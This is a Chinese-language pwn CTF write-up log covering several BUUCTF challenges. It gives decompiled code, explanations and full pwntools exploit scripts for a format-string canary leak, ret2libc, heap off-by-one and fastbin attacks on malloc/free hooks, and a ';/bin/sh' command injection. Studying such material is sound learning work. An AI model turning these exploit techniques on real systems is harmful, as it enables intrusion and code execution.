buu做题记录

bjdctf-2020-babyrop2

checksec

checksec

可以看到有开canary,可能需要绕过

IDA

IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 gift()
{
char format[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("I'll give u some gift to help u!");
__isoc99_scanf("%6s", format);
printf(format);
puts(byte_400A05);
fflush(0LL);
return __readfsqword(0x28u) ^ v2;
}

看到有格式化字符串漏洞,可以利用来泄露canary

1
2
3
4
5
6
7
8
9
10
unsigned __int64 vuln()
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Pull up your sword and tell me u story!");
read(0, buf, 0x64uLL);
return __readfsqword(0x28u) ^ v2;
}

存在栈溢出

思路

首先利用格式化字符串来泄露canary,由于是64位,栈上数据是从%6$p起

  • 利用gdb查看canary位置

发现在栈上第二个,也就是%7$p,所以

1
2
3
4
5
6
payload=b'%7$p'
r.recvuntil(b'help u!\n')
r.sendline(payload)
r.recvuntil(b'0x')
canary=int(r.recv(16),16)# 将16进制字符串转换为整数
print("canary: ",hex(canary))
  • 接着ret2libc
1
2
3
4
payload=b'A'*0x18+p64(canary)+b'A'*0x8+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)
payload+=p64(vuln_addr)
r.recvuntil(b'u story!\n')
r.sendline(payload)

然后公式计算libc基地址,system,/bin/sh地址,再进行一次栈溢出即可

  • 完整脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context(os='linux', arch='AMD64', log_level='debug')
#r=process('./bbrop2')
r=remote("node5.buuoj.cn",29194)
elf=ELF('./bbrop2')
libc=ELF('./libc-2.23_64.so')
vuln_addr=0x400887
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
ret_addr=0x4005f9
rdi_addr=0x400993
#gdb.attach(r)
payload=b'%7$p'
r.recvuntil(b'help u!\n')
r.sendline(payload)
r.recvuntil(b'0x')
canary=int(r.recv(16),16)
print("canary: ",hex(canary))

payload=b'A'*0x18+p64(canary)+b'A'*0x8+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)
payload+=p64(vuln_addr)
r.recvuntil(b'u story!\n')
r.sendline(payload)

puts_addr=u64(r.recv(6).ljust(8,b'\x00'))
print("puts_addr=",hex(puts_addr))
libcbase=puts_addr-libc.symbols['puts']
sys_addr=libcbase+libc.symbols['system']
binsh_addr=libcbase+next(libc.search(b'/bin/sh'))

r.recvuntil(b'u story!\n')
payload=b'A'*0x18+p64(canary)+b'A'*0x8+p64(ret_addr)+p64(rdi_addr)+p64(binsh_addr)+p64(sys_addr)
payload+=p64(vuln_addr)
r.sendline(payload)
#pause()
r.interactive()

bjdctf_2020_router

checksec

checkec

IDA

IDA

在case: 1时就有了system,主要就是利用这个system

思路

利用case: 1里的函数:

  • strcat是将字符串拼接到目标字符串后,dest处本来存在’ping’,我们要接一个/bin/sh在后头并且用分号隔开,这样才会分别执行两个命令,分别是system(“ping”)和system(“/bin/sh”)

脚本:

1
2
3
4
5
6
7
8
9
from pwn import *
#r=process('./br')
r=remote("node5.buuoj.cn",28295)
r.recvuntil("Please input u choose:\n")
r.sendline("1")
r.recvuntil("Please input the ip address:\n")
payload=b';/bin/sh\x00'
r.sendline(payload)
r.interactive()

babyheap_0ctf_2017

checksec

checksec

小贴士

由于这题是在ubuntu的环境下,我们需要把ld替换成ubuntu16的,也就是2.23版本的ld,这里用glibc-all-in-one

  • 更改intepreter为glibc-all-in-one中的
1
patchelf --set-interpreter ~/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so babyheap
  • 更改libc库为题目提供的
1
patchelf --replace-needed libc.so.6 ./libc-2.23.so babyheap
  • 查看是否成功
1
ldd babyheap

成功的:

ldd

IDA

是一个菜单的程序

  • 菜单

  • allocate

可以看到内部是有一个结构体的,有三个成员,分别记录是否已分配,大小,地址

  • fill

可以看到程序并没有对我们输入的填充长度进行检查,所以漏洞在堆溢出

  • free

输入index,然后free掉对应的堆块

  • dump

输出堆块中的内容

思路

由于存在堆溢出,我们分两步来get shell

利用堆溢出泄露unsorted bin链表头->main_arena->malloc_hook->libbase

  • 申请三个堆块,第一个堆块用于修改第二个堆块的内容,第二个堆块用来泄露链表头地址,第三个堆块用来记录链表头地址
1
2
3
alloc(0x10)
alloc(0x40)
alloc(0x100)
  • 接着修改第二个堆块大小到第三个堆块的size下面两个区域,这样第二个堆块大小就到了unsortedbin范围内,但此时第三个堆size域被破坏,需要修一下,也就是将第三个堆块的大小放在对应的位置
1
2
fill(0,b'a'*0x10+p64(0)+p64(0x71))
fill(2,b'A'*0x10+p64(0)+p64(0x71))
  • 此时堆结构
  • 接着free(1),再allocate(0x60),将1回来,这一步目的是将1的大小覆盖到2的一部分来泄露链表头地址,但由于这里的allocate执行的是calloc,会将堆数据清零,我们需要在此补充数据0x111来恢复chunk2,接着free(2),再dump(1),就能将fdbk泄露出来,也就是unsortedbin链表头地址,但由于这里的allocate执行的是calloc,会将堆数据清零,我们需要在此补充数据0x111来恢复chunk2,此时需要额外申请一个chunk隔开top chunk
1
2
3
4
5
6
free(1)
alloc(0x60)
fill(1,b'A'*0x40+p64(0)+p64(0x111))
alloc(0x100) # 额外申请的
free(2)
dump(1)

此时堆内容

  • 然后就是接收地址和一些地址的计算,gadgets我全写出来了,到时候一个个看看哪个可以
1
2
3
4
5
6
7
8
9
10
unsortedbin_addr=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) # 远程的时候发现是7f开头的,所以这里直接这样了
mainarena_addr=unsortedbin_addr-0x58
malloc_hook=mainarena_addr-0x10
libc_base=malloc_hook-libc.symbols["__malloc_hook"]
free_hook=libc_base+libc.symbols['__free_hook']
print("unsorted bin addr=",hex(unsortedbin_addr))
print("libc_base=",hex(libc_base))
print("free_hook=",hex(free_hook))
print("malloc_hook_addr=",hex(malloc_hook))
exceve_addr=[libc_base+0x45216,libc_base+0x4526a,libc_base+0xf02a4,libc_base+0xf1147]
  • 最后伪造,将1块free掉,利用0块来修改1块的fd,再分配两次从而分配到malloc_hook-0x23上的堆块,进而修改hook为ogg,然后再分配一次,调用到malloc_hook,就是ogg,从而得到shell
1
2
3
4
5
6
7
8
9
free(1)
fill(0,b'A'*0x10+p64(0)+p64(0x71)+p64(malloc_hook-0x23))
alloc(0x60)
alloc(0x60)

fill(2,b'A'*0x13+p64(libc_base+0x4526a))

alloc(0x10)
r.interactive()

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
context(os="linux",arch="amd64",log_level="debug",timeout=10)
#r=process('./babyheap')
r=remote("node5.buuoj.cn",27749)
libc=ELF('./libc-2.23.so')

def alloc(size):
r.recvuntil(b"Command: ")
r.sendline(b"1")
r.recvuntil(b"Size: ")
r.sendline(str(size))

def fill(index, content):
r.recvuntil(b'Command: ')
r.sendline(b'2')
r.recvuntil(b'Index: ')
r.sendline(str(index))
r.recvuntil(b'Size: ')
r.sendline(str(len(content)))
r.recvuntil(b'Content: ')
r.sendline(content)

def free(index):
r.recvuntil(b"Command: ")
r.sendline(b"3")
r.recvuntil(b"Index: ")
r.sendline(str(index))

def dump(index):
r.recvuntil(b"Command: ")
r.sendline(b"4")
r.recvuntil(b"Index: ")
r.sendline(str(index))


alloc(0x10)
alloc(0x40)
alloc(0x100)

fill(0,b'a'*0x10+p64(0)+p64(0x71))
fill(2,b'A'*0x10+p64(0)+p64(0x71))
free(1)
alloc(0x60)
fill(1,b'A'*0x40+p64(0)+p64(0x111))
alloc(0x100)
free(2)
dump(1)
ll=r.recv(0x50+10)
unsortedbin_addr=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

mainarena_addr=unsortedbin_addr-0x58
malloc_hook=mainarena_addr-0x10
libc_base=malloc_hook-libc.symbols["__malloc_hook"]
free_hook=libc_base+libc.symbols['__free_hook']
print("unsorted bin addr=",hex(unsortedbin_addr))
print("libc_base=",hex(libc_base))
print("free_hook=",hex(free_hook))
print("malloc_hook_addr=",hex(malloc_hook))
exceve_addr=[libc_base+0x45216,libc_base+0x4526a,libc_base+0xf02a4,libc_base+0xf1147]

free(1)
fill(0,b'A'*0x10+p64(0)+p64(0x71)+p64(malloc_hook-0x23))
alloc(0x60)
alloc(0x60)

fill(2,b'A'*0x13+p64(libc_base+0x4526a))

alloc(0x10)
r.interactive()

wustctf2020_closed

从来没见过,所以记录下来

checksec

1
2
3
4
5
6
7
8
yyyffff@yyyffff-virtual-machine:~/桌面$ checksec closed
[*] '/home/yyyffff/桌面/closed'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

IDA

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
vulnerable();
return 0;
}
1
2
3
4
5
6
7
int vulnerable()
{
puts("HaHaHa!\nWhat else can you do???");
close(1);
close(2);
return shell();
}
1
2
3
4
int shell()
{
return system("/bin/sh");
}

分析

问问AI

在 Linux 中,每个进程维护一个文件描述符表

FD 含义 默认指向
0 标准输入 stdin 通常是键盘
1 标准输出 stdout 通常是终端
2 标准错误 stderr 通常是终端

这里close(1),close(2)相当于关掉了标准输出和标准错误,实际上直接执行程序就得到了shell,不过由于关掉了输出,我们在屏幕上无法看到输出了啥,比如说输入ls,实际上有效果只不过输出被关闭了我们看不到而已

这里用exec 1>&0来使stdout重新指向

exec

在 shell 中,exec 有两个常见用途:

  1. 替换当前进程:

    1
    exec /bin/sh

    → 当前 shell 被 /bin/sh 替代

  2. 修改当前 shell 的文件描述符(本题关键):

    1
    exec 1>&0

    → 在当前 shell 进程中修改文件描述符指向,不启动新进程。


1>&0 是什么格式?

这是 shell 的文件描述符重定向语法

1
[目标FD]>[&源FD]

具体来说:

  • 1:目标文件描述符,stdout
  • >:重定向操作
  • &0:取文件描述符 0(stdin)的底层对象

👉 表示:

fd 1(标准输出)重定向为 fd 0(标准输入)所连接的对象


📌 图示理解

假设在运行这个命令前,文件描述符状态如下:

文件描述符 指向
0 (stdin) socket(你的 nc / pwntools 连接)
1 (stdout) 已被关闭(close(1)

运行 exec 1>&0 后变为:

文件描述符 指向
0 (stdin) socket
1 (stdout) socket(同 stdin)

于是你输入的命令,如:

1
cat flag

最终内部调用:

1
write(1, ...);

就把 flag 的内容写到了 socket 上,你能在客户端看到输出。


🔁 为什么是“&0”而不是“0”?

  • >0 表示重定向到文件 "0"(错误❌)
  • >&0 表示重定向到文件描述符编号为 0 的打开通道(正确✅)

你也可以做:

1
exec 2>&1

→ 把 stderr(fd 2)也重定向到 stdout(fd 1)。


✅ 总结

语法元素 含义
exec 修改当前 shell 的 FD 表
1 表示标准输出 fd 1
>&0 把它重定向到 fd 0 所指对象
结果 输出通过输入通道走回来(可见性恢复)

总结

直接r.interactive()后输入excv 0>&1即可cat flag

[V&N2020 公开赛]simpleHeap

checksec

1
2
3
4
5
6
7
yyyffff@yyyffff-virtual-machine:~/桌面$ checksec simpleheap
[*] '/home/yyyffff/桌面/simpleheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void __noreturn sub_F0A()
{
sub_A39();
puts("Welcome to V&N challange!");
puts("This's a simple heap for you.");
while ( 1 )
{
sub_EB6();
switch ( sub_9EA() )
{
case 1:
sub_AFF();
break;
case 2:
sub_CBB();
break;
case 3:
sub_D6F();
break;
case 4:
sub_DF7();
break;
case 5:
exit(0);
default:
puts("Please input current choice.");
break;
}
}
}

一道菜单题

1
2
3
4
5
6
7
8
9
int sub_EB6()
{
puts("1.Add");
puts("2.Edit");
puts("3.Show");
puts("4.Delete");
puts("5.Exit");
return printf("choice: ");
}

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int sub_AFF()
{
int result; // eax
int v1; // [rsp+8h] [rbp-8h]
int v2; // [rsp+Ch] [rbp-4h]

v1 = sub_AB2();
if ( v1 == -1 )
return puts("Full");
printf("size?");
result = sub_9EA();
v2 = result;
if ( result > 0 && result <= 111 )
{
qword_2020A0[v1] = malloc(result);
if ( !qword_2020A0[v1] )
{
puts("Something Wrong!");
exit(-1);
}
dword_202060[v1] = v2;
printf("content:");
read(0, (void *)qword_2020A0[v1], dword_202060[v1]);
return puts("Done!");
}
return result;
}

可以看到 qword_2020A0 存储的是堆块指针,doword_202060 存储的是大小

if 语句限制了堆块大小要<111,所以无法直接 malloc unsortedbin 范围内堆块

edit

1
2
3
4
5
6
7
8
9
10
11
12
int sub_CBB()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]

printf("idx?");
v1 = sub_9EA();
if ( v1 > 9 || !qword_2020A0[v1] )
exit(0);
printf("content:");
sub_C39(qword_2020A0[v1], dword_202060[v1]);
return puts("Done!");
}

sub_C39是自己写的输入函数

sub_C39(自定义的输入函数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 __fastcall sub_C39(__int64 a1, int a2)
{
unsigned __int64 result; // rax
unsigned int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; ; ++i )
{
result = i;
if ( (int)i > a2 )
break;
if ( !read(0, (void *)((int)i + a1), 1uLL) )
exit(0);
if ( *(_BYTE *)((int)i + a1) == 10 )
{
result = (int)i + a1;
*(_BYTE *)result = 0;
return result;
}
}
return result;
}

可以看到循环时从 0 到 a2 ,多循环了一次,有 off-by-one 漏洞,可以修改下个堆块的 size

view

1
2
3
4
5
6
7
8
9
10
11
int sub_D6F()
{
signed int v1; // [rsp+Ch] [rbp-4h]

printf("idx?");
v1 = sub_9EA();
if ( (unsigned int)v1 > 9 || !*((_QWORD *)&qword_2020A0 + v1) )
exit(0);
puts(*((const char **)&qword_2020A0 + v1));
return puts("Done!");
}

查看堆块内容

free

1
2
3
4
5
6
7
8
9
10
11
12
13
int sub_DF7()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]

printf("idx?");
v1 = sub_9EA();
if ( v1 > 9 || !qword_2020A0[v1] )
exit(0);
free((void *)qword_2020A0[v1]);
qword_2020A0[v1] = 0LL;
dword_202060[v1] = 0;
return puts("Done!");
}

释放后全置0了,貌似不存在啥漏洞

思路

  • 首先创 4 个堆块,利用第一个堆块修改第二个堆块的 size (修改为实际上 1 2 块加起来的大小(0x70+0x70))使其释放后进入 unsortedbin,然后释放 1 块,这样就让 1 进入unsortedbin 然后再申请 0x60 的块,剩下的堆块就会与 2 块重叠,这样 2 块的 fd bk 就是 &unsortedbin ,而后 view(2) 即可得到 libcbase
1
2
3
4
5
6
7
8
9
10
11
12
13
add(0x18,b'aaaa') # 0
add(0x60,b'aaaa') # 1
add(0x60,b'aaaa') # 2
add(0x60,b'aaaa') # 3
edit(0,b'\x00'*0x18+b'\xe1')
delete(1)
add(0x60,b'aaaa') # 1
view(2)
unsortedbin=u64(r.recv(6).ljust(8,b'\x00'))
libcbase=unsortedbin-88-0x3c4b20
malloc_hook=libcbase+libc.sym['__malloc_hook']
realloc_addr=libcbase+libc.sym['realloc']
print("__malloc_hook->",hex(malloc_hook))
  • 然后再次申请 0x60 的块得到 4 块,此时 4 块 2 块是同一块地址,我们可以释放 4 块,再利用 2 块修改 fd 为 __malloc_hook-0x23 ,再申请两次,就可以得到 __malloc_hook-0x23 处堆块,然后利用 realloc 调整栈帧打 one_gadget 即可
1
2
3
4
5
6
7
8
9
add(0x60,b'aaaa') # 4 但是跟#2是同一块地址

delete(4)
edit(2,p64(malloc_hook-0x23))
add(0x60,b'aaaa')
ogg=[0x45216,0x4526a,0xf02a4,0xf1147]
add(0x60,b'a'*0xb+p64(libcbase+ogg[1])+p64(realloc_addr+12))

r.interactive()

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
elf=ELF('./simpleheap')
libc=ELF('./libc-2.23.so')
#r=process('./simpleheap')
r=remote("node5.buuoj.cn",29253)

def add(size,content):
r.recvuntil("choice: ")
r.sendline("1")
r.recvuntil("size?")
r.sendline(str(size))
r.recvuntil("content:")
r.sendline(content)

def edit(idx,content):
r.recvuntil("choice: ")
r.sendline("2")
r.recvuntil("idx?")
r.sendline(str(idx))
r.recvuntil("content:")
r.sendline(content)

def view(idx):
r.recvuntil("choice: ")
r.sendline("3")
r.recvuntil("idx?")
r.sendline(str(idx))

def delete(idx):
r.recvuntil("choice: ")
r.sendline("4")
r.recvuntil("idx?")
r.sendline(str(idx))

add(0x18,b'aaaa') # 0
add(0x60,b'aaaa') # 1
add(0x60,b'aaaa') # 2
add(0x60,b'aaaa') # 3

edit(0,b'\x00'*0x18+b'\xe1')
delete(1)
add(0x60,b'aaaa') # 1

view(2)
unsortedbin=u64(r.recv(6).ljust(8,b'\x00'))
libcbase=unsortedbin-88-0x3c4b20
malloc_hook=libcbase+libc.sym['__malloc_hook']
realloc_addr=libcbase+libc.sym['realloc']
print("__malloc_hook->",hex(malloc_hook))

add(0x60,b'aaaa') # 4 但是跟#2是同一块地址

delete(4)
edit(2,p64(malloc_hook-0x23))
add(0x60,b'aaaa')
ogg=[0x45216,0x4526a,0xf02a4,0xf1147]
add(0x60,b'a'*0xb+p64(libcbase+ogg[1])+p64(realloc_addr+12))

r.interactive()

hitcontraining_heapcreator

checksec

1
2
3
4
5
6
7
8
yyyffff@yyyffff-virtual-machine:~/桌面$ checksec heapcreator
[*] '/home/yyyffff/桌面/heapcreator'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
Stripped: No

got 表可写,不过我没用 got 表就是了,但是写 free 的 got 表也是一种方法

IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
menu();
read(0, buf, 4uLL);
switch ( atoi(buf) )
{
case 1:
create_heap();
break;
case 2:
edit_heap();
break;
case 3:
show_heap();
break;
case 4:
delete_heap();
break;
case 5:
exit(0);
default:
puts("Invalid Choice");
break;
}
}
}

create

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
unsigned __int64 create_heap()
{
__int64 v0; // rbx
int i; // [rsp+4h] [rbp-2Ch]
size_t size; // [rsp+8h] [rbp-28h]
char buf[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-18h]

v5 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !*(&heaparray + i) )
{
*(&heaparray + i) = malloc(0x10uLL);
if ( !*(&heaparray + i) )
{
puts("Allocate Error");
exit(1);
}
printf("Size of Heap : ");
read(0, buf, 8uLL);
size = atoi(buf);
v0 = (__int64)*(&heaparray + i);
*(_QWORD *)(v0 + 8) = malloc(size);
if ( !*((_QWORD *)*(&heaparray + i) + 1) )
{
puts("Allocate Error");
exit(2);
}
*(_QWORD *)*(&heaparray + i) = size;
printf("Content of heap:");
read_input(*((void **)*(&heaparray + i) + 1), size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v5;
}
}
return __readfsqword(0x28u) ^ v5;
}

heaparray 一个在 bss 段上的地址,负责记录管理堆块的指针

在分配堆块的时候首先会 malloc(0x10) 前 8 字节记录要分配的 size,后 8 字节记录即将要分配的堆的指针,然后将这个 0x10 大小的堆块记录到 heaparray 上

并且分配堆块的时候没有清空堆块,我们就可以直接分配一个 unsortedbin 范围内的然后释放掉再分配回来就可以得到 libcbase 了

edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 edit_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( (unsigned int)v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
printf("Content of heap : ");
read_input(*((void **)*(&heaparray + v1) + 1), *(_QWORD *)*(&heaparray + v1) + 1LL);// off-by-one
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}

是根据那个 0x10 块中存的指针来修改的,如果说我们可以控制那个指针,就可以在任意位置进行 edit

而且在 19 行输入的时候,长度多写了 1,造成了 off-by-one

show

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 show_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( (unsigned int)v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
printf("Size : %ld\nContent : %s\n", *(_QWORD *)*(&heaparray + v1), *((const char **)*(&heaparray + v1) + 1));
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 delete_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( (unsigned int)v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
free(*((void **)*(&heaparray + v1) + 1));
free(*(&heaparray + v1));
*(&heaparray + v1) = 0LL;
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}

先 delete 我们存储内容的堆块而后 delete 存储信息的堆

思路

大体上是控制堆块信息里的指针为 free_hook 而后改成 system,写个 /bin/sh 的堆释放掉即可

  • 首先需要分配三个堆块,释放掉中间那个拿到 libcbase
1
2
3
4
5
6
7
8
9
10
11
12
13
add(0x18,b'aaaa') # 0
add(0x80,b'aaaa') # 1
add(0x10,b'aaaa') # 2
delete(1)

add(0x80,b'aaaaaaab')
view(1)
r.recvuntil("aaab")
unsortedbin=u64(r.recv(6).ljust(8,b'\x00'))
libcbase=unsortedbin-88-0x3c4b20
system_addr=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']
print("free_hook->",hex(free_hook))
  • 然后利用 0 块修改 1 块的堆信息块的 size 为 0xd1,然后释放掉 1 块,这样 unsortedbin 内就会 0xd0->0x90->unsortedbin<-0xd1。然后我请求 0x90 大小的块,其中 0x10 的块会在 0x90 中分配,然后 0x90 变为 0x70,不满足接下去要分配的 0x90,所以 0x90 会在 0xd0 中分配,最后将 0x70 的块放入了 smallbins 中,这样就会造成管理堆块信息的块在可写入的块的上方,我们就可以写到 0x10 的块中,就可以写入那个指针,最后将那个指针改为 free_hook,这样下一次修改 1 块修改的就是 free_hook了
1
2
3
4
5
6
7
8
9
10
11
edit(0,b'A'*0x18+b'\xd1')
delete(1)

add(0x90,b'abcyyy')
pause()
edit(1,p64(0)*3+p64(0x21)+p64(0x90)+p64(free_hook))
edit(1,p64(system_addr))
edit(2,b'/bin/sh\x00')
delete(2)

r.interactive()

img

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
elf=ELF('./heapcreator')
libc=ELF('./libc-2.23.so')
r=process('./heapcreator')
#r=remote("node5.buuoj.cn",29054)

def add(size,content):
r.sendlineafter("Your choice :","1")
r.sendlineafter("Size of Heap : ",str(size))
r.sendafter("Content of heap:",content)

def edit(idx,content):
r.sendlineafter("Your choice :","2")
r.sendlineafter("Index :",str(idx))
r.sendafter("Content of heap : ",content)

def delete(idx):
r.sendlineafter("Your choice :","4")
r.sendlineafter("Index :",str(idx))

def view(idx):
r.sendlineafter("Your choice :","3")
r.sendlineafter("Index :",str(idx))

add(0x18,b'aaaa') # 0
add(0x80,b'aaaa') # 1
add(0x10,b'aaaa') # 2
delete(1)

add(0x80,b'aaaaaaab')
view(1)
r.recvuntil("aaab")
unsortedbin=u64(r.recv(6).ljust(8,b'\x00'))
libcbase=unsortedbin-88-0x3c4b20
system_addr=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']
print("free_hook->",hex(free_hook))
#pause()
edit(0,b'A'*0x18+b'\xd1')
delete(1)

add(0x90,b'abcyyy')
pause()
edit(1,p64(0)*3+p64(0x21)+p64(0x90)+p64(free_hook))
edit(1,p64(system_addr))
edit(2,b'/bin/sh\x00')
delete(2)

r.interactive()

hitcon2014_stkof

checksec

1
2
3
4
5
6
[*] '/home/yyyffff/桌面/stkof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)

可以修改 got 表

IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v3; // eax
int v5; // [rsp+Ch] [rbp-74h]
char nptr[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v7; // [rsp+78h] [rbp-8h]

v7 = __readfsqword(0x28u);
while ( fgets(nptr, 10, stdin) )
{
v3 = atoi(nptr);
if ( v3 == 2 )
{
v5 = edit();
goto LABEL_14;
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
v5 = delete();
goto LABEL_14;
}
if ( v3 == 4 )
{
v5 = sub_400BA9();
goto LABEL_14;
}
}
else if ( v3 == 1 )
{
v5 = add();
goto LABEL_14;
}
v5 = -1;
LABEL_14:
if ( v5 )
puts("FAIL");
else
puts("OK");
fflush(stdout);
}
return 0LL;
}

同样一道菜单题

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 add()
{
__int64 size; // [rsp+0h] [rbp-80h]
char *v2; // [rsp+8h] [rbp-78h]
char s[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v4; // [rsp+78h] [rbp-8h]

v4 = __readfsqword(0x28u);
fgets(s, 16, stdin);
size = atoll(s);
v2 = (char *)malloc(size);
if ( !v2 )
return 0xFFFFFFFFLL;
(&::s)[++dword_602100] = v2;
printf("%d\n", (unsigned int)dword_602100);
return 0LL;
}

增加堆块的函数,dwoord_602100 是计数的,而全局变量 s 是记录堆块地址的( 0x602140 )

edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 edit()
{
int i; // eax
unsigned int v2; // [rsp+8h] [rbp-88h]
__int64 n; // [rsp+10h] [rbp-80h]
char *ptr; // [rsp+18h] [rbp-78h]
char s[104]; // [rsp+20h] [rbp-70h] BYREF
unsigned __int64 v6; // [rsp+88h] [rbp-8h]

v6 = __readfsqword(0x28u);
fgets(s, 16, stdin);
v2 = atol(s);
if ( v2 > 0x100000 )
return 0xFFFFFFFFLL;
if ( !(&::s)[v2] )
return 0xFFFFFFFFLL;
fgets(s, 16, stdin);
n = atoll(s);
ptr = (&::s)[v2];
for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )
{
ptr += i;
n -= i;
}
if ( n )
return 0xFFFFFFFFLL;
else
return 0LL;
}

对于输入的长度没有检查,可以随便修改下个堆块信息

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 delete()
{
unsigned int v1; // [rsp+Ch] [rbp-74h]
char s[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v3; // [rsp+78h] [rbp-8h]

v3 = __readfsqword(0x28u);
fgets(s, 16, stdin);
v1 = atol(s);
if ( v1 > 0x100000 )
return 0xFFFFFFFFLL;
if ( !(&::s)[v1] )
return 0xFFFFFFFFLL;
free((&::s)[v1]);
(&::s)[v1] = 0LL;
return 0LL;
}

free 后清零

分析

由于没有类似 view 的函数,我们无法直接输出一个已知的地址,那么 libcbase 就无法得到

但是 got 表是可以写的,我们可以将 free_got 写成 puts_plt,而后执行 free 就可以输出,然后将 free_got 写成 system,delete 掉一个内容为 /bin/sh 的堆块即可得到 flag

至于如何写 free_got,这里用到 unlink

